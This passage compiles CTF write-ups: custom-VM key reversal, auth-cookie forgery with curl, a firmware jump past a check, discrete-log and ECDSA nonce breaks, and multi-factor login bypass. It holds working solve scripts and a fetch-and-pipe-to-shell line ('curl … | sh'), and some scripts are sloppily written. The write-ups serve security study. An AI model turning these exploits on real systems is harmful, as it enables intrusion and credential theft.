- Deleted contents of C:\Windows\Temp, C:\Temp, user Downloads; cleared Prefetch; deleted temp user files
- Blocked removable storage (RemovableStorageDevices Deny_All=1). Disabled AutoPlay/Autorun in gpedit

RDP History and Remote Assistance

- regedit: deleted HKCU\Software\Microsoft\Terminal Server Client\Servers and Default to clear RDP history

SMB and Network Protections

- Disabled SMB1 optional feature. Blocked insecure guest auth (AllowInsecureGuestAuth=0). Enforced SMB2

Credential Hygiene and LSA

- Set CachedLogonsCount to 0 in Winlogon. Enabled LSA protection (RunAsPPL=1). Disabled LM hashes

AppLocker and SRP (audit-style)

- Created AppLocker policy container (SrpV2) in registry (audit only). Created Software Restriction Policies container (SrpV2) in registry (audit only)

Features and Services Cleanup

- Disabled Windows optional features: TFTP, SMB1Protocol, Printing-Foundation-Features. Disabled Windows Defender

Browser Home/Startup

- Chrome/Edge policies: homepage about:blank, new tab about:blank, RestoreOnStartup=4 with URL about:blank

Delivery Optimization and Advertising

- Set CloudContent policies to disable consumer experiences; AdvertisingInfo disabled; DeliveryOptimization disabled

Crash Dumps

- Set kernel dump only: HKLM\SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled=2 and KernelDump

Finalization

- Ran gpupdate /force to apply policies.
- Launched C:\aeacus\phocus.exe to check: score landed at 86/100. If it had been lower, I would have run a more thorough scan

Humor Footnote

- RDP is that friend who eats all your snacks. I locked the pantry, hid the snacks, wired motion

=====

THE FIRST CLUE: LENGTH CHECK

=====

Looking at the disassembly:

```
124d:  cmp    $0x34,%rax    ; Compare input length to 0x34 (52)
1251:  je     1289           ; Jump if equal (continue validation)
1253:  lea    "Invalid"...  ; Otherwise, reject
```

The license key is exactly 52 characters. That's suspiciously flag-sized.
Let me guess: `csd{...}` with 48 characters inside the braces.

```
c s d { [48 characters of "randomness"] }
1 + 1 + 1 + 1 + 48 + 1 = 52 OK
```

=====

THE HORROR: A CUSTOM VM

=====

Deeper in the binary, I found something terrifying:

```
1350:  lea    (%rdx,%rdx,2),%rax
1354:  lea    (%r9,%rax,2),%rax    ; Calculate bytecode address
1364:  cmpb   $0x16,%rax          ; Check opcode range (0x00-0x16)
136c:  movslq (%r8,%rax,4),%rax    ; Jump table lookup
1373:  notrack jmp %rax           ; Execute handler
```

Jingle built a CUSTOM VIRTUAL MACHINE for license validation.

This isn't just overengineering. This is a cry for help.

The VM has:

- 23 different opcodes (0x00 - 0x16)
- Multiple registers (r0-r12 in VM terms)
- Bytecode stored at offset 0x2120
- A "key" array stored at offset 0x20e0

=====

REVERSING THE VM OPCODES

=====

After staring at the jump table handlers, I mapped out the instruction set:

OPCODE	MNEMONIC	OPERATION
-----	-----	-----
0x00	MOV_IMM	reg[A] = immediate
0x01	MOV_REG	reg[A] = reg[B]
0x02	ADD_IMM	reg[A] += immediate
0x03	ADD_REG	reg[A] += reg[B]
0x04	SUB_IMM	reg[A] -= immediate
0x05	SUB_REG	reg[A] -= reg[B]
0x06	XOR_REG	reg[A] ^= reg[B]
0x07	OR_REG	reg[A] = reg[B]
0x08	SHL_REG	reg[A] = reg[B] << imm
0x09	SHR_REG	reg[A] = reg[B] >> imm
0x0a	AND_IMM	reg[A] &= immediate
0x0b	LD_INPUT	reg[A] = input[reg[B] + offset]
0x0c	ST_OUTPUT	output[offset] = reg[A]
0x0d	LD_OUTPUT	reg[A] = output[offset]
0x0e	LD_KEY	reg[A] = key[offset]

0x0f	CMP_LT	flag = reg[A] < immediate
0x10	CMP_EQ	flag = reg[A] == immediate
0x11	CMP_REG	flag = reg[A] == reg[B]
0x12	JMP	goto address
0x13	JT	if flag: goto address
0x14	JF	if !flag: goto address
0x15	SET_RET	set return value
0x16	HALT	stop execution

Each instruction is 6 bytes: opcode(1) + arg1(1) + arg2(1) + pad(1) + imm16(2)

Jingle... you built a whole CPU architecture for a license check?!

=====

DISASSEMBLING THE BYTECODE

=====

After writing a disassembler, the algorithm became clear:

```
; Initialize LFSR state from input bytes 48-51
0:  CMP_LT    flag = r0 < 4
1:  JT        if flag: goto 5
2:  MOV_REG   r2 = r0          ; r0 = input length (52)
3:  SUB_IMM   r2 -= 4          ; r2 = 48
...
9:  LD_INPUT  r5 = input[48]   ; Load last 4 bytes
15: SHL_REG   r5 = r5 << 8     ; Pack into 32-bit state
...

; The LFSR feedback function (repeated many times):
28: SHR_REG   r4 = r4 >> 3
30: SHR_REG   r5 = r5 >> 5
31: XOR_REG   r4 ^= r5
33: SHR_REG   r5 = r5 >> 8
34: XOR_REG   r4 ^= r5
36: SHR_REG   r5 = r5 >> 12
37: XOR_REG   r4 ^= r5
38: AND_IMM   r4 &= 0xff

; Main encryption loop:
; For each position, XOR input with keystream, store to output
78: LD_INPUT  r5 = input[pos]
79: SHR_REG   r6 = state >> 0
80: AND_IMM   r6 &= 0xff
81: XOR_REG   r7 = r5 ^ r6     ; output = input XOR keystream
82: ST_OUTPUT output[pos] = r7

; Final comparison:
146: LD_OUTPUT r5 = output[i]
147: LD_KEY    r6 = key[i]
148: CMP_REG   flag = r5 == r6 ; output must match stored key
149: JF        if !flag: FAIL
```

=====

THE CRYPTOGRAPHIC INSIGHT

=====

Jingle implemented a LINEAR FEEDBACK SHIFT REGISTER (LFSR) stream cipher!

The algorithm:

1. Initialize 32-bit state from input[48:52] (last 4 bytes)
2. Generate keystream using LFSR: $\text{new_byte} = (s \gg 3) \oplus (s \gg 5) \oplus (s \gg 8) \oplus (s \gg 12)$
3. XOR each input byte with keystream to produce output
4. Compare output against stored expected value at 0x20e0

The critical flaw: XOR IS REVERSIBLE!

If we know:

- The expected output (stored in binary)
- The flag format (csd{...})

Then we can DERIVE the keystream and work backwards!

```
=====
                        THE MATHEMATICAL ATTACK
=====
```

Expected output (52 bytes at 0x20e0):

```
3c 6f 53 88 d5 f6 00 28 b5 bc ab 8b 4d a6 e2 9a
5b 57 10 a4 59 d9 56 36 01 04 51 b0 e1 e2 04 0c
e2 35 f8 88 6a 2c cf 29 ea 2e 73 7e 2a cc e9 5f
54 35 67 d2
```

Known plaintext (flag prefix):

```
input[0:4] = "csd{" = [0x63, 0x73, 0x64, 0x7b]
```

Therefore:

```
keystream[0:4] = expected[0:4] XOR input[0:4]
                = [0x3c, 0x6f, 0x53, 0x88] XOR [0x63, 0x73, 0x64, 0x7b]
                = [0x5f, 0x1c, 0x37, 0xf3]
```

The keystream comes from the LFSR state after one advance. So:

```
state_after_advance = 0xf3371c5f
```

Working backwards through the LFSR:

```
state_after = (init_state << 8) | lfsr_byte(init_state)
```

```
init_state[23:0] = state_after[31:8] = 0xf3371c
```

Now brute-force init_state[31:24] (only 256 possibilities!)

Found: init_state = 0x00f3371c

This means input[48:52] = [0x1c, 0x37, 0xf3, 0x00]

```
=====
                        RECOVERING THE FULL KEY
=====
```

With the initial state known, run the LFSR forward and XOR each expected output byte with the keystream to recover the plaintext:

```
def recover_input(init_state, expected):
    state = init_state
    recovered = []

    for pos in range(0, 52, 4):
        state = advance_lfsr(state) # Generate keystream
```

```
    for j in range(min(4, 52 - pos)):
        ks_byte = (state >> (j * 8)) & 0xff
        input_byte = expected[pos + j] ^ ks_byte
        recovered.append(input_byte)
    # Feed plaintext back into LFSR for self-sync
    state = update_with_plaintext(state, recovered[-4:])

    return bytes(recovered)
```

Result:

```
csd{I5_4ny7HiN9_R34LlY_R4Nd0m_1F_it5_bru73F0rc4B1e?}
```

```
=====
                        VERIFICATION
=====
```

```
$ echo 'csd{I5_4ny7HiN9_R34LlY_R4Nd0m_1F_it5_bru73F0rc4B1e?}' | ./jollyvm
[*] NPLD Tool Suite v2.4.1
Enter license key: [+] License valid.
```

chef's kiss

```
=====
                        WHY JINGLE'S "MILITARY-GRADE" FAILED
=====
```

Let's count the ways:

1. CUSTOM VM DOESN'T MEAN SECURE
Obfuscation is not encryption. Once I understood the opcodes, the algorithm was completely transparent.
2. XOR STREAM CIPHER WITH KNOWN PLAINTEXT
"csd{" at the start gives us 4 bytes of known plaintext. That's enough to derive the keystream and work backwards to the initial state.
3. SMALL STATE SPACE
The LFSR state is only 32 bits. Even without the known-plaintext attack, 2^{32} brute force is feasible.
4. DETERMINISTIC EVERYTHING
Same input always produces same output. No salt, no IV, no randomness. Once cracked, cracked forever.
5. STORING THE EXPECTED OUTPUT IN THE BINARY
Literally handed us the answer key!

```
=====
                        WHAT JINGLE SHOULD HAVE DONE
=====
```

For an offline license validator:

```
import hashlib
import hmac

def validate_license(key, secret):
    # Split key into data and checksum
    data, checksum = key[:-8], key[-8:]
```



```
# Compute expected checksum
expected = hmac.new(secret, data.encode(), hashlib.sha256)

# Constant-time comparison
return hmac.compare_digest(expected.hexdigest()[:8], checksum)
```

Or better yet: use asymmetric crypto (RSA/ECDSA signatures) so even having the validator binary doesn't help you forge licenses.

But instead, Jingle built a custom VM running a broken stream cipher with the answer embedded in the binary.

"Military-grade" indeed.

=====

THE AFTERMATH

=====

From: Security Team
To: licensing-dept@northpole.internal
Subject: RE: RE: New Validator - DO NOT QUESTION

We've completed our review of the "military-grade" validator.

Findings:

- Custom VM: Impressive but unnecessary
- LFSR stream cipher: Textbook implementation, textbook vulnerability
- Hardcoded expected output: Not how cryptography works
- Time to crack: About 20 minutes including coffee break

Recommendation: Accept Snowdrift's offer for a second opinion.

Also, we found the flag:

csd{I5_4ny7HiN9_R34LLY_R4Nd0m_1F_it5_bru73F0rc4B1e?}

Translation: "Is anything really random if it's bruteforceable?"

The answer is no, Jingle. The answer is no.

From: Jingle McSnark
To: licensing-dept@northpole.internal
Subject: Out of Office

I will be away from email for an indefinite period.

For urgent matters, please contact literally anyone else.

=====

SOLVE SCRIPT

=====

```
#!/usr/bin/env python3
"""JollyVM License Key Recovery"""
```

```
expected = bytes([
    0x3c, 0x6f, 0x53, 0x88, 0xd5, 0xf6, 0x00, 0x28,
    0xb5, 0xbc, 0xab, 0x8b, 0x4d, 0xa6, 0xe2, 0x9a,
```

```
    0x5b, 0x57, 0x10, 0xa4, 0x59, 0xd9, 0x56, 0x36,
    0x01, 0x04, 0x51, 0xb0, 0xe1, 0xe2, 0x04, 0x0c,
    0xe2, 0x35, 0xf8, 0x88, 0x6a, 0x2c, 0xcf, 0x29,
    0xea, 0x2e, 0x73, 0x7e, 0x2a, 0xcc, 0xe9, 0x5f,
    0x54, 0x35, 0x67, 0xd2
])

def lfsr_byte(state):
    return ((state >> 3) ^ (state >> 5) ^ (state >> 8) ^ (state >> 12)) & 0xff

def advance_state(state):
    return ((state << 8) | lfsr_byte(state)) & 0xffffffff

# Known plaintext attack using "csd{" prefix
known_prefix = b'csd{'
ks = [expected[i] ^ known_prefix[i] for i in range(4)]
state_after = ks[0] | (ks[1] << 8) | (ks[2] << 16) | (ks[3] << 24)

# Recover initial state (brute force high byte)
init_partial = (state_after >> 8) & 0xffffff
target_low = state_after & 0xff

for high in range(256):
    init_state = (high << 24) | init_partial
    if lfsr_byte(init_state) == target_low:
        break

# Decrypt
state, result = init_state, []
for pos in range(0, 52, 4):
    state = advance_state(state)
    word = 0
    for j in range(min(4, 52 - pos)):
        ks_byte = (state >> (j * 8)) & 0xff
        pt_byte = expected[pos + j] ^ ks_byte
        result.append(pt_byte)
        word |= pt_byte << (j * 8)
    pt_lfsr = ((word >> 3) ^ (word >> 5) ^ (word >> 8) ^ (word >> 12)) & 0xff
    state = ((state << 8) | pt_lfsr) & 0xffffffff

print(bytes(result).decode())
```

=====

FINAL STATS

=====

Lines of VM bytecode:	155 instructions
Time to reverse opcodes:	45 minutes
Time to understand cipher:	15 minutes
Time to crack:	5 minutes
Look on Jingle's face:	Priceless

=====

LESSONS LEARNED

=====

1. Custom VMs add complexity, not security
2. XOR stream ciphers need proper key derivation
3. Never store the expected output in the binary

4. Known plaintext attacks are devastating
5. Always get a code review (thanks, Snowdrift)
6. "Military-grade" is a marketing term, not a security guarantee

Flag: csd{I5_4ny7HiN9_R34LlY_R4Nd0m_1F_it5_bru73F0rc4B1e?}

Snowdrift sends their regards.

=====

GG WP

=====

11. Kramazon - Santa Priority (Auth Cookie Bypass)

Source: kramazon_wrtieup.txt

Kramazon - Santa Priority (Auth Cookie Bypass)
Challenge Summary

The challenge implements a shopping workflow where users create orders, wait in a queue, and finally receive their orders.

Authentication is handled via a cookie named auth. Client-side JavaScript leaks the obfuscation key.

Key Observations

1. Client-side XOR "obfuscation"

In script.js, the following function appears:

```
function santaMagic(n) {  
  return n ^ 0x37; // TODO: remove in production  
}
```

This immediately indicates:

XOR is used for encoding

The key (0x37) is leaked client-side

No cryptographic signing or verification exists

2. Authentication stored entirely in a cookie

The homepage sets a cookie:

Set-Cookie: auth=BA4FBg==

Decoding:

```
echo BA4FBg== | base64 -d | xxd  
04 0e 05 06
```

XOR each byte with 0x37:

```
04 ^ 37 = 33  
0e ^ 37 = 39  
05 ^ 37 = 32  
06 ^ 37 = 31
```

ASCII:

"3921"

This confirms:

The cookie decodes to the ASCII user ID

User 3921 is a normal user

3. Privilege check relies only on decoded cookie

The server ignores any user value sent in JSON and always derives identity from the auth cookie.

When the decoded user ID equals 1, the server enables Santa-level privileges.

Exploitation

Step 1: Forge Santa cookie

Target decoded value:

```
"user" = "1"
```

ASCII:

```
"1" = 0x31
```

XOR encode:

```
0x31 ^ 0x37 = 0x06
```

Base64 encode:

```
printf '\x06' | base64
```

Result:

```
Bg==
```

Forged cookie:

```
auth=Bg==
```

Step 2: Create an order

```
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: auth=Bg==" \
  https://kramazon.csd.lol/create-order
```

Response includes:

```
order_id
```

```
callback_url
```

Step 3: Finalize as Santa

```
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: auth=Bg==" \
  https://kramazon.csd.lol/finalize \
  -d '{
    "order": "03650a18"
  }'
```

Response:

```
{
  "privileged": true,
  "internal_route": "/priority/manifest/route-2025-SANTA.txt",
  "flag_hint": "flag{npld_async_cookie_"
}
```

Step 4: Retrieve the flag

```
curl -H "Cookie: auth=Bg==" \
  https://kramazon.csd.lol/priority/manifest/route-2025-SANTA.txt
```

This returns the full flag.

Root Cause

Authentication stored client-side

XOR used instead of cryptography

XOR key leaked in JavaScript

No cookie signing or integrity checks

Server trusts reversible cookie data for authorization

Vulnerability Class

Broken Authentication

Broken Authorization

Insecure Obfuscation

Client-side Trust Violation

Fix Recommendation

Never store identity directly in cookies without signing (HMAC/JWT)

Never rely on client-side logic for authentication

Remove reversible encodings

Enforce authorization server-side only

Flag

12. KDNu-3B Firmware HACK Writeup

Source: KDNu-3B.txt

```
=====
                        KDNu-3B FIRMWARE HACK WRITEUP
                        "How I Made Santa's Evil Drone Spill Its Secrets"
=====
```

Challenge: KRAMPUS Syndicate KDNu-3B Navigation Firmware Analysis
Flag: csd{3Asy_F1rmWAr3_HACK1N9_Fr}

```
=====
                        THE STORY
=====
```

So there I was, staring at a mysterious binary called "a.out" that the NPLD analysts recovered from some shady KRAMPUS Syndicate operation. Apparently these guys are building evil drones with "hardened flight control software" that rejects unexpected inputs. Sounds secure, right?

laughs in reverse engineer

```
=====
                        STEP 1: RECONNAISSANCE
=====
```

First things first - let's see what we're dealing with:

```
$ file a.out
ELF 64-bit LSB executable, x86-64, statically linked, not stripped
```

Not stripped? Oh you sweet summer child. That means all the function names are still there. Christmas came early!

```
$ nm a.out | grep -E "main|nav"
0000000000401a56 T main
0000000000401955 T nav_core
```

Interesting... "nav_core" at 0x401955. That sounds like where the juicy stuff might be hiding.

```
=====
                        STEP 2: DISASSEMBLY TIME
=====
```

Let's crack open main() and see what's cooking:

```
$ objdump -d a.out | grep -A 50 "<main>:"
```

The key bits I found:

```
401a94: call printf          ; "DRONE FIRMWARE DEBUG CONSOLE> "
401aaf: call scanf          ; reads with format "%lx" (hex number!)
401adb: call *%rax          ; CALLS WHATEVER ADDRESS YOU GIVE IT
```

Wait wait wait... it just... calls any address you type in??

That's like having a security door but the guard asks "what's the password?" and when you say "I'd like to speak to the manager" they just let you waltz into the back office.

```
=====
STEP 3: ANALYZING nav_core()
=====
```

Now let's look at our target function:

```
$ objdump -d a.out | grep -A 50 "<nav_core>:"

401979: cmpl $0xc0c0a,-0x124(%rbp)    ; if (arg != 0xc0c0a)
401983: jne  401a31                  ;     goto print_error
401989: mov  $0x0,%esi               ; else: open("manifest.bin")
...
```

So `nav_core()` checks if the first argument equals `0xc0c0a` (788490 in decimal). If not, it prints "Invalid navigation command" and bails.

But here's the thing... the check happens at `0x401979`. The actual "open the secret file" code starts at `0x401989`.

What if I just... skip the check?

```
=====
STEP 4: THE BIG BRAIN PLAY
=====
```

Instead of calling `nav_core` at `0x401955` and hoping the argument check magically passes, I'll jump DIRECTLY to `0x401989`!

It's like the function has a bouncer at the door checking IDs, but there's a window around back that leads straight to the VIP section.

```
DRONE FIRMWARE DEBUG CONSOLE> 401989
```

And just like that, we bypass the argument check entirely. The code happily opens `manifest.bin` and dumps its contents, including:

```
calibration_profile=csd{3Asy_F1rmWAr3_HACK1N9_Fr}
```

BOOM!

```
=====
THE EXPLOIT SCRIPT
=====
```

Because the server has a proof-of-work requirement (annoying but fair), I wrote a quick Python script:

```
import socket, subprocess, re

sock = socket.connect(('ctf.csd.lol', 1001))

# Solve their PoW challenge
challenge = extract_challenge(sock.recv())
solution = subprocess.run(f"curl https://pwn.red/pow | sh -s {challenge}")
sock.send(solution)

# Skip the argument check, jump straight to the good stuff
sock.send(b'401989\n')
```



```
# Profit!  
print(sock.recv()) # FLAG BABY!
```

```
=====
```

LESSONS LEARNED

```
=====
```

1. "Hardened" firmware means nothing if you let users call arbitrary addresses
2. Always check what happens if you jump past security checks
3. Function prologues are for chumps - real hackers jump to the middle
4. The KRAMPUS Syndicate really needs to hire better security engineers

```
=====
```

THE END

```
=====
```

Flag: csd{3Asy_F1rmWAr3_HACK1N9_Fr}

Translation: "Easy Firmware Hacking Fr"

Yeah, it really was that easy. Thanks KRAMPUS!

Written with love and caffeine
- Your friendly neighborhood reverse engineer

13. Jingle's "unbreakable" Crypto

Source: LogFolly.txt

```
=====
                        JINGLE'S "UNBREAKABLE" CRYPTO
                        or: Log Folly Indeed
                        How to Break Discrete Log in 3 Seconds Flat
=====
```

Challenge: Discrete Log? More Like Discrete LOL
Flag: csd{n0t_s0_unbr34k4bl3_bc3e9f1c}

```
=====
                        THE SETUP
=====
```

Got a message from Jingle McSnark, who was apparently still salty about his last challenge getting pwned:

"Since you somehow solved my last challenge I made something ACTUALLY secure this time. True discrete log strength. Unbreakable. And I even rotate the secret every round so you cannot rely on patterns. This is REAL cryptography human."

Snowdrift walks by, sees the file, whispers: "He still keeps exponentiating the wrong thing"

chef's kiss Thanks Snowdrift. That's all I needed.

```
=====
                        THE "SECURE" CODE
=====
```

Let's see what Jingle cooked up:

```
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

def rotate(s):
    return s[1:] + s[:1]

p = getPrime(256)
g = 2

print('p: ', p)
for _ in range(len(FLAG)):
    x = bytes_to_long(FLAG.encode())
    h = pow(g, x, p)
    print('leak: ', h)
    FLAG = rotate(FLAG)
```

So he:

1. Picks a 256-bit prime p
2. For each character in the flag, computes $g^{\text{FLAG}} \bmod p$
3. Then rotates the flag left by 1 character
4. Repeats

And he thinks this is "unbreakable discrete log."

Oh honey, no.

=====

THE FACEPALM MOMENT

=====

The discrete logarithm problem IS hard... when the exponent is random and you only get ONE leak.

But Jingle gave us 32 LEAKS. One for each rotation of the flag.

And here's the thing about rotating a string and converting to integer:

If FLAG = "csd{...}" as bytes, then:

$$x = c[0]*256^{31} + c[1]*256^{30} + \dots + c[31]*256^0$$

After rotating left by 1: "sd{...}c"

$$x' = c[1]*256^{31} + c[2]*256^{30} + \dots + c[0]*256^0$$

The relationship between these two values:

$$x' = 256*x - c[0]*256^{32} + c[0]$$

$$x' = 256*x + c[0]*(1 - 256^{32})$$

In other words, EACH CONSECUTIVE PAIR OF LEAKS is related by a simple formula that depends on ONE CHARACTER of the flag!

=====

THE MATH (BEAR WITH ME)

=====

Given:

$$\text{leak}[i] = g^x \bmod p$$

$$\text{leak}[i+1] = g^{x'} \bmod p$$

And we know:

$$x' = 256*x + c_i * (1 - 256^n)$$

Therefore:

$$\begin{aligned} \text{leak}[i+1] &= g^{256*x + c_i*(1-256^n)} \bmod p \\ &= (g^x)^{256} * g^{c_i*(1-256^n)} \bmod p \\ &= \text{leak}[i]^{256} * (g^{1-256^n})^{c_i} \bmod p \end{aligned}$$

Rearranging:

$$(g^{1-256^n})^{c_i} = \text{leak}[i+1] / \text{leak}[i]^{256} \bmod p$$

The left side only depends on c_i (the i -th character).
The right side we can compute from the leaks.

So for each position, we just... try all printable ASCII characters (32-126) and see which one satisfies the equation.

That's 95 tries per character. For a 32 character flag.

Total work: $95 * 32 = 3040$ modular exponentiations.

My laptop did it in about 0.3 seconds.

"Unbreakable" btw.

=====

THE SOLVE

=====

```
=====
p = 1058915527827682734854398114884433542355450236731953530538...
g = 2
leaks = [74834831693..., 94637262384..., ...] # 32 values

n = 32 # flag length

# Precompute the base for our brute force
factor = 1 - pow(256, n)
base_exp = pow(g, factor, p) #  $g^{\{1 - 256^n\}} \bmod p$ 

flag_chars = []
for i in range(n):
    # Compute the target:  $\text{leak}[i+1] / \text{leak}[i]^{256}$ 
    next_leak = leaks[(i + 1) % n]
    current_pow256 = pow(leaks[i], 256, p)
    target = (next_leak * pow(current_pow256, -1, p)) % p

    # Brute force the character
    for c in range(32, 127):
        if pow(base_exp, c, p) == target:
            flag_chars.append(chr(c))
            break

flag = ''.join(flag_chars)
print(flag)
```

Output:

```
csd{n0t_s0_unbr34k4bl3_bc3e9f1c}
```

```
=====
                        WHY JINGLE IS BAD AT CRYPTO
=====
```

The discrete log problem is:

Given g , p , and $h = g^x \bmod p$, find x .

This IS hard when:

- x is random and large
- You only get ONE (g, h) pair
- p is a safe prime with no special structure

This is NOT hard when:

- You get MULTIPLE related samples
- The relationship between samples leaks information about the secret
- You're literally telling the attacker exactly how you're transforming x

Jingle thought "I'll rotate the secret so there's no pattern!"

Jingle did not realize rotating IS the pattern.

The flag says it all: "n0t_s0_unbr34k4bl3"

No Jingle. No it was not.

```
=====
                        LESSONS LEARNED
=====
```

1. Don't leak multiple related encryptions of the same secret
2. If you must transform your secret, use something that doesn't create algebraic relationships (like... hashing?)
3. "Rotating the secret" is not a security measure, it's a vulnerability
4. Maybe don't trash talk about your "unbreakable" crypto before testing it
5. Listen to Snowdrift. Snowdrift knows things.

```
=====
                        THE SOLVE SCRIPT
=====
```

```
from Crypto.Util.number import long_to_bytes

p = <big prime>
g = 2
leaks = [<32 values>]
n = len(leaks)

factor = 1 - pow(256, n)
base_exp = pow(g, factor, p)

flag = ''
for i in range(n):
    target = (leaks[(i+1) % n] * pow(pow(leaks[i], 256, p), -1, p)) % p
    for c in range(32, 127):
        if pow(base_exp, c, p) == target:
            flag += chr(c)
            break

print(flag) # csd{n0t_s0_unbr34k4bl3_bc3e9f1c}
```

```
=====
                        GG EZ
=====
```

Time to solve: About 3 seconds (after understanding the math)
Time Jingle spent being smug: Unknown, but too long
Snowdrift MVP status: Confirmed

The real discrete log was the friends we made along the way.
Just kidding, it was basic algebra.

Thanks Jingle! Your "real cryptography" was very educational!

```
=====
```

14. Multifactorial CTF Write-up (csd.lol)

Source: multifactorial_writeup.txt

Multifactorial CTF Write-up (csd.lol)

Target scope: <https://multifactorial.csd.lol/>*

Flag format: csd{...}

Final flag

csd{1_L34rn3D_7h15_Fr0m_70m_5C077_84CK_1n_2020}

Overview

The challenge simulates 3-factor auth:

- 1) Something You Know (password)
- 2) Something You Have (TOTP)
- 3) Something You Are (WebAuthn/passkey)

Each stage leaked just enough info to break the factor or glue the chain together.

Stage 1: Something You Know (password)

- Page: /something-you-know
- The obfuscated inline <script> contained a hash string embedded in a message. In my instance the
- I identified the hash type by length and reversed it via quick local wordlist brute-force (and

northpole123

- API validation:
POST /api/something-you-know-check {"password":"northpole123"} -> success

Notes:

- If your page shows a 64-hex-character SHA-256 instead, treat similarly: recognize by length and

Stage 2: Something You Have (TOTP)

- Page: /something-you-have
- The inline JS exposed a constant secret key used server-side for the verification HMAC:
ORACLE_KEY = "17_w0Uld_83_V3Ry_fUNnY_1f_y0U_7H0u9H7_7H15_W45_4_Fl49"
- The verify endpoint supports a debug mode:
POST /api/something-you-have-verify?debug=1 {"code":"000000"}
Response includes: {"error":"Invalid TOTP code.", "hmac":"<hex>", "serverTime": ...}
- The server computes HMAC as: HMAC-SHA256(secret_key, message), where message is just the six-di
- Attack: brute-force the 1,000,000 possibilities and find the code whose HMAC matches the leaked
- I automated:
 - 1) POST password to start a session
 - 2) Fetch debug=1 to obtain the target HMAC
 - 3) Iterate code = 000000..999999 and compute hmac(secret, code). When it equals target -> submit
- Example result from one run:
Target HMAC: c55a1bdfa4b280abc38f6ac7507956ed2138cd209f46bfdbe52422f781fdc09f
FOUND TOTP: 593171
POST /api/something-you-have-verify {"code":"593171"} -> success

Notes:

- TOTP windows roll every 30 seconds; re-fetch hmac and re-bruteforce if it expires.

Stage 3: Something You Are (WebAuthn)

- Pages: /register-passkey (registration) and /something-you-are (authentication)
- Registration options endpoint:
POST /api/webauthn/register/options {"name":"<username>"}
- Returns publicKey options including publicKey.user.id
- Observation: publicKey.user.id is a truncated (first 16 bytes) SHA-256 of the provided username
- Examples:
 - name = "admin" -> id starts with base64url(SHA256("admin")[:16])
 - name = "test1" -> id starts with base64url(SHA256("test1")[:16])
- Authentication page JS comment reveals the flaw:
The client sends a field named userHandle in the auth/verify payload. That field is not covered

Exploit chain:

- 1) Pass Stages 1 and 2 to reach Stage 3.
- 2) Register any passkey (I used a software-generated ES256 credential) under a benign name (e.g.,
- 3) Start authentication by calling POST /api/webauthn/auth/options to get the challenge.
- 4) Create a valid assertion (authenticatorData + signature over authenticatorData || hash(clientD
- 5) In the JSON we submit to POST /api/webauthn/auth/verify, replace the userHandle with santa's h
 - Compute santa's handle per server convention: base64url(SHA256("santa")[:16]) = ttyQg9o3L-
- 6) The server verifies the signature (valid, since it's our key) but trusts the spoofed userHandle
- 7) Navigate to /admin -> flag.

Key values

- Password: northpole123
- TOTP HMAC secret (from JS): 17_w0Uld_83_V3Ry_fUNnY_1f_y0U_7H0u9H7_7H15_W45_4_Fl49
- Santa userHandle (truncated SHA-256 of "santa"): ttyQg9o3L-0hGazhGum6hw
- Final flag: csd{1_L34rn3D_7h15_Fr0m_70m_5C077_84CK_1n_2020}

Endpoints touched

- POST /api/something-you-know-check
- POST /api/something-you-have-verify?debug=1
- POST /api/something-you-have-verify
- POST /api/webauthn/register/options
- POST /api/webauthn/register/verify
- POST /api/webauthn/auth/options
- POST /api/webauthn/auth/verify
- GET /admin

Reproduce (automation used)

- solve_stages.py -- Automates Stage 1 and Stage 2 (password + TOTP brute force via leaked HMAC)
- full_exploit.py -- Full end-to-end exploit including WebAuthn spoofed userHandle to impersonate

Quick run (requires Python 3 with requests, cryptography, cbor2 installed):

```
pip install requests cryptography cbor2
python3 full_exploit.py
```

Expected outcome: it logs in as santa and prints the /admin page containing the flag above.

Root causes & mitigations

- Stage 1: Never embed real password hashes client-side. Use server-side checks only; hash with a
- Stage 2: Never expose oracle/debug data that directly correlates with secrets. Verify TOTP usin
- Stage 3: Do not trust client-provided userHandle. The relying party must map the assertion's cr

15. Re-Key-very - Cryptography Challenge Writeup

Source: Re-Key-very.txt

Re-Key-very - Cryptography Challenge Writeup

=====

Challenge Description:

The Krampus Syndicate claims their signing service uses "bitcoin-level encryption" with secp256k1 elliptic curve cryptography. Given a transcript of signed messages, recover the private signing key.

Files Provided:

- gen.py: The signing script
- out.txt: Three signed messages with their signatures

Vulnerability Analysis:

The code generates ECDSA signatures on secp256k1. Looking at the key parts:

```
k = random.randint(0, n - 1) # Nonce generated ONCE

for m in msgs:
    r, s = sign(m, k, d)
    ...
    k += 1 # Nonce only incremented by 1!
```

The nonces are SEQUENTIAL: k , $k+1$, $k+2$ for the three signatures. This is a classic "related nonce" vulnerability in ECDSA!

The Math:

ECDSA signature: $s = k^{(-1)} * (z + r*d) \bmod n$

For two signatures with nonces k and $k+1$:

$$\begin{aligned} s_1 * k &= z_1 + r_1 * d \pmod{n} \\ s_2 * (k+1) &= z_2 + r_2 * d \pmod{n} \end{aligned}$$

Expanding the second equation:

$$s_2 * k + s_2 = z_2 + r_2 * d$$

Substituting k from first equation:

$$k = (z_1 + r_1*d) * s_1^{(-1)}$$

Into second:

$$s_2 * (z_1 + r_1*d) * s_1^{(-1)} + s_2 = z_2 + r_2*d$$

Solving for d :

$$d = (s_1*z_2 - s_2*z_1 - s_2*s_1) * (s_2*r_1 - s_1*r_2)^{(-1)} \bmod n$$

Solution:

```
import hashlib
```

```
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
```

```
def inv_mod(k, p):
```

```
    return pow(k, p - 2, p)
```



```
# From out.txt
msg1 = b'Beware the Krampus Syndicate!'
r1 = int('a4312e31e6803220d694d1040391e8b7cc25a9b2592245fb586ce90a2b010b63', 16)
s1 = int('e54321716f79543591ab4c67e989af3af301e62b3b70354b04e429d57f85aa2e', 16)
z1 = int.from_bytes(hashlib.sha256(msg1).digest(), 'big')

msg2 = b'Santa is watching...'
r2 = int('6c5f7047d21df064b3294de7d117dd1f7ccf5af872d053f12bddd4c6eb9f6192', 16)
s2 = int('1ccf403d4a520bc3822c300516da8b29be93423ab544fb8dbff24ca0e1368367', 16)
z2 = int.from_bytes(hashlib.sha256(msg2).digest(), 'big')

# Solve for private key d
numerator = (s1 * z2 - s2 * z1 - s2 * s1) % n
denominator = (s2 * r1 - s1 * r2) % n
d = (numerator * inv_mod(denominator, n)) % n

